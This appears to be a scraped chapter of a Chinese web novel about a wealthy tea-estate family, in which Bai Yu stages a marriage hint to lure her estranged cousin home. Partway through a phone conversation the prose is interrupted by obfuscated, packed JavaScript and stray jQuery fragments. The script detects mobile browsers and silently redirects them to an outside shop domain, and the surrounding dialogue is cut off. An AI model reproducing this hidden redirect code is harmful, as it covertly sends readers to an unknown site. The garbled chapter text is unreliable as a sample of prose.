文趣网 > 都市小说 > [校园]下雨也是好天气 > 40. 谋算
    罕茗泽走在前面几步,闻言转头问说:“那你姑姑家住在哪苑?”

    “爷爷觉得嫁出去的女儿泼出去水,没有留单独的院子。姑姑一脉回家,只能和客人一样住在别苑。”

    众人听到这话,都不免唏嘘。

    白钰的眼底闪过一丝试探,在暮色的掩饰下无人发现:“可惜,小姑姑三年前不幸早逝,只留下一个孩子。”

    罕茗泽觉得她在看自己,目光迎过去,见她突然盈盈一笑,仿佛什么事情都没有发生。

    白钰在他一无所知的目光中,确定了自己心里的想法。

    别苑到了。

    虽说只是主苑的附属,可也不小。三进的小院依着山势缓缓抬升,入门第一进是天井,方方正正,铺着老青砖,砖缝里因为夏季的密雨而生出了细长青苔。

    左右两排客房,门窗漆成深栗色。天井正中一口石缸,养着几尾锦鲤,水面上浮着半开的睡莲。

    穿过天井,二进是正厅——也就是今晚开饭的地方。厅内位置很大,但今天只摆了两张圆桌,桌上已铺好白色丝绸桌布,碗碟是定制的青白瓷,釉面温润,碗底印着一个极小的“白”字。靠墙一排太师椅,椅背上搭着刺绣靠垫,绣的是玉兰和茶花。厅堂正中挂着一幅水墨山水,题款模糊。

    三进的后院,就是属于四姑姑的家了。

    此时天色将暗,厅里已掌了灯。灯是仿古的纱灯,光线柔黄,照得整个厅堂暖融融的。

    后厨已经飘出一股淡淡的饭菜香

    “各位随便坐,别客气。”白季清走到主位边,抬手示意,“阿罕,来和三伯坐!”

    白钰接着说:“江导,靳学长,微微学姐,一起来这边坐呀。”

    其他人就很自觉地坐到另一桌了。

    “江妈,上菜!”白季清一身令下,江阔差点本能地蹦起来。

    白钰笑着解释:“江妈是我们家内务的总管家。”

    江阔嘿了一声:“巧了嘛这不是!说不定还是远方亲戚么!”

    江妈却是个不苟言笑的中年妇女,眼中全是活计,指挥着十多个上菜的姑娘,十分钟不到就把每桌的二十道菜上齐了。

    江阔向来怕严肃的人,见江妈指点江山的模样,哪还敢攀亲戚。

    罕茗泽见他这样,忍不住弯了弯嘴角,接着就被江阔偷摸着打了一巴掌。

    “不知道大家有没有什么忌口,家常菜都做了点。”白季清和颜说。

    家常菜?

    面前这一桌,涵盖了天上飞的,海里游的,山里跑的,还有茶的融合料理菜,随便拿出一道菜都可以在五星级餐厅卖出四位数的价格。

    “你们有钱人都这么吃家常菜啊?”江阔在罕茗泽身边小声调侃。

    “不是。我们家常菜吃竹虫,蚂蚱和蛇。”罕茗泽小声回他,然后起身举杯敬向白季清:“白三伯,感谢您的盛情款待!如果以后到滇南,欢迎来我家做客!”

    “哎!这孩子,这么客气!”白季清脸上的笑意都止不住,端起酒杯。

    江阔非常有眼力见地拉着靳安屿站起来:“白三伯,我们也跟着借花献佛,敬您一杯!”

    接着是夏微和白钰,隔壁桌的何定带着学弟妹起身迎向这桌:“多谢白三伯!”

    “哈哈哈哈!好孩子们,那三伯也祝愿你们,在茶场调研一切顺利!在白家度过一个愉快的假期!”

    酒过三巡,白季清喝的尽兴,搂着罕茗泽的肩膀就不松手:“听说你想要自己做茶叶公司?!年轻人创业是好事!我是一向大力支持的!要多少钱,要多少资源,你尽管说!三伯能支持的,绝不含糊!”

    白钰送何定和学弟妹去客房后回来,就看到这俩勾肩搭背的场景。她走到纪营面前,莞尔一笑:“纪学长,你要不要先回去休息呀?没想到我爸爸和罕哥这么谈得来,真是投缘,只怕今天要喝到很晚了。”

    “我……我还不困。”纪营目光躲闪,刚刚听到白季清对罕茗泽说的话,心里是又嫉又妒,且隐隐生出一股恨意,一时浮现于脸,心说不知道白钰看到没有。

    白钰笑意更浓:“那不如,你过来和我们一起吧。”

    纪营见她脸上没有鄙夷之色,心里暗暗松了一口气。接着环见自己周围已经空无一人,心里又窘迫顿起,急忙应说:“好啊……”

    “来吧。”白钰一把抓起他的手腕,将他带到隔壁桌的空位,扶他肩膀坐下。

    纪营从小到大,从来没接触过非亲人的异性,一时心跳漏了一拍。

    “阿罕,你们家乡的茶是不错,可惜名气还是不够大!这……营销手段啊,还是不够多元化!产业链赋值还……还有待提高!嗝~”他打了个酒嗝,继续说:“但没关系啊!这些东西,我们白家,都相当成熟!”

    白钰递了一双新筷子给纪营,他接过来小声道了句谢。

    江阔喝了两杯白酒,脸也有些泛红,嘴巴开始没遮拦:“白三伯……你不会,真的,看上我们阿罕……”

    他话还没说完,白季清就接了话:“看,看上了啊!”

    “想让他做女婿了吧?!”江阔补上后半句,倒把白季清问得愣了一下,下意识地看了一眼白钰。

    白钰美目眸光一转,计上心头,朝白季清缓慢地眨了一下眼。

    白季清重重地拍了一下大腿:“嘿!这小子,眼睛真毒!”

    他又转向罕茗泽,语重心长地说:“阿罕啊,三伯是真喜欢你这个孩子……我又只有小钰一个女儿,要是你愿意……三伯白家的资源……”

    罕茗泽一个踉跄,面朝桌子砸下来。

    “这孩子……酒量不行啊!”白季清摸了摸他的头发。

    “爸爸,你喝醉了。”白钰连忙上前搀扶着白季清,不等他分说就抢先道:“我扶您回房间!”

    白季清佯装眨眨眼:“嗯?是吗,好吧。”

    白钰对众人说:“不好意思啊,我得送我爸回去。等会儿我让江妈送你们回房。”

    “快去吧,还和我们客气啥!”江阔摆摆手说,等他们出了房门,拍了拍罕茗泽的背:“起来吧。”

    罕茗泽扭着脖子坐起来:“不要乱说话。”

    “刚刚有点上头,”江阔拍了拍嘴,“口无遮拦了。”

    “你没醉啊?!”纪营指着罕茗泽说,“你干嘛骗白三伯和白钰,他们那么信任你!”

    罕茗泽瞟了他一眼,无奈地挠了挠头,起身说:“没骗。出去醒醒酒。”

    白钰刚进南苑,就马不停蹄地拿出手机,拨了顾寻煦的号码。

    被挂断了。

    “行不行啊?!”白季清焦急地看着黑了的屏幕。

    白钰捏着手机,略略顿了几秒,眼睛一眯,说:“放心吧。肯定没问题,我手上还有PlanB——表哥,一定会回来的。”

    又过了几秒,她手中的手机突然亮起来,说:“而且,A计划说不定就能奏效。”

    她朝着白季清比了个嘘的手势,接着按了接通键,清脆地喊了一句:“表哥!”

    “刚在开会。”对面言简意赅。

    “哦。”白钰乖巧地说。“那不好意思啦,打扰你工作了!”

    “有事?”

    “没有啊,就和你汇报一下,我们到家咯。”

    “嗯。”

    对面声音停了片刻,白钰也不着急,很有耐心地等着。

    “白家谁在?”顾寻煦问。

    “就爷爷和我爸。”

    “还有什么别的事?”

    “没有啊。”白钰说的非常自然,“我们也才到没多久,回来吃了个饭。唯一稀罕的事……我想想,我爸倒是很喜欢罕哥,两个人喝到

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881131|212463||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    现在呢,”

    对面又顿了一会儿,说:“知道了。”

    “哥……”白钰带着试探的语气说,“我爸好像有点……太喜欢罕哥了,今天还开玩笑说,让罕哥做女婿呢。”

    对面许久没了声音。

    白钰叹了口气:“我对罕哥是没有那种想法啦,但你知道,我们家……从来不顾小辈意愿的。不然姑姑也不会……”

    白钰没再说下去,或者说,没敢再说下去。

    点到为止,否则引火烧身。

    对面挂断了电话。

    白季清看到她放下手机,才问:“怎么样了?”

    白钰唇角露出一丝意味深长的笑容:“最多五天,表哥一定回来。”

    “真的假的。”白季清这话不是疑问,而是出自震惊,“顾寻煦这都多少年不肯踏足白家了,这罕茗泽和他到底是什么关系?”

    “三年前,X大曾经有一对风靡人物,被称为管院双绝,就是他们二人。”白钰不疾不徐地拉开椅子,坐到茶台前,“表哥那样的人,能够应允别人和他齐名,一同被谈论四年。你说,这人在他心里,有多不同?”

    她左手从茶台暗格里取出一块深褐色的茶巾,对折再对折,铺在右手边,接着从身后的青瓷茶罐中取出三泡容量的岩茶,放在茶则上。

    “罕茗泽才回来读研,表哥就让我关注他的一举一动。后来还莫名其妙地来了X市发展,虽说当了辰资分部的总裁,但我总觉得,这事没这么简单。毕竟X市,哪比得上沪市有前途发展呢。”

    白季清嗤笑一声:“他哪是看得清利益得失的人,否则三年前也不会和顾家断绝来往。”

    “他不看重,是因为他已经拥有足够。”白钰拿起茶匙,轻轻拨动茶则上的干茶,“不管怎么说,罕茗泽是唯一一个他看重的人,想要他回来,只能从这里入手。”

    白季清坐到她对面:“这真是奇了怪了,顾寻煦那样像是被砍断七情六欲的人,还能有看重的人。”

    “罕茗泽,”她将紫砂壶壶盖取下,倒扣在茶巾上,“也不是普通人啊。”

    她将竹制茶针围着壶口转了一圈。

    白季清想了想,说:“这倒也是,这小伙子有趣的很,看着也像是有能力的人。你……”

    白钰冷笑一声,:“别想,不可能。我要嫁的人,至少要让我再上三个阶。”

    他端起煮水壶,高高扬起,沸水顺势冲入紫砂壶中。

    “更何况,表哥这么厌弃白家,一定不会让罕茗泽和白家扯上任何关系的。”

    待水满至壶口,她稍停片刻,用壶盖轻轻刮去浮沫,整套动作干净利落。

    “哦——!”白季清恍然大悟,“所以你刚刚才故意让我说想要罕茗泽当女婿,又透露给顾寻煦。”

    “我的好爸爸,你这才反应过来啊。”白钰瞅了他一眼,手中动作没停,提起茶壶,手腕轻转,将温壶的水倒入公道杯,再依次淋入品茗杯。

    “知道你有本事。”白季清欣慰地摇头,“咱们家要没你,指不定还要被你大伯、二伯压制多少年。”

    白钰将杯中的温杯水倒进水盂:“如今表哥这边形势也不乐观,我们和大伯二伯的关系还得维系。等把表哥手里的那些茶场拿回来,再收拾他们不迟。”

    她手中壶身缓缓前倾,茶汤呈细线状流出,不起半点泡沫:“大伯给表哥准备的五个养女,都送来了?”

    “十天前就来了,东苑好吃好喝的养着呢。”白季清小声嘟囔,“顾寻煦能中美人计?真不知道你大伯怎么想的。”

    “他既然安排,我们照做就是,省的他不成事了还怪我们。”白钰将品茗杯推至他面前。

    白季清喝了一口,说:“你这手艺,还是差点儿。太急!”

    白钰失笑,索性甩手不干:“来,换您。”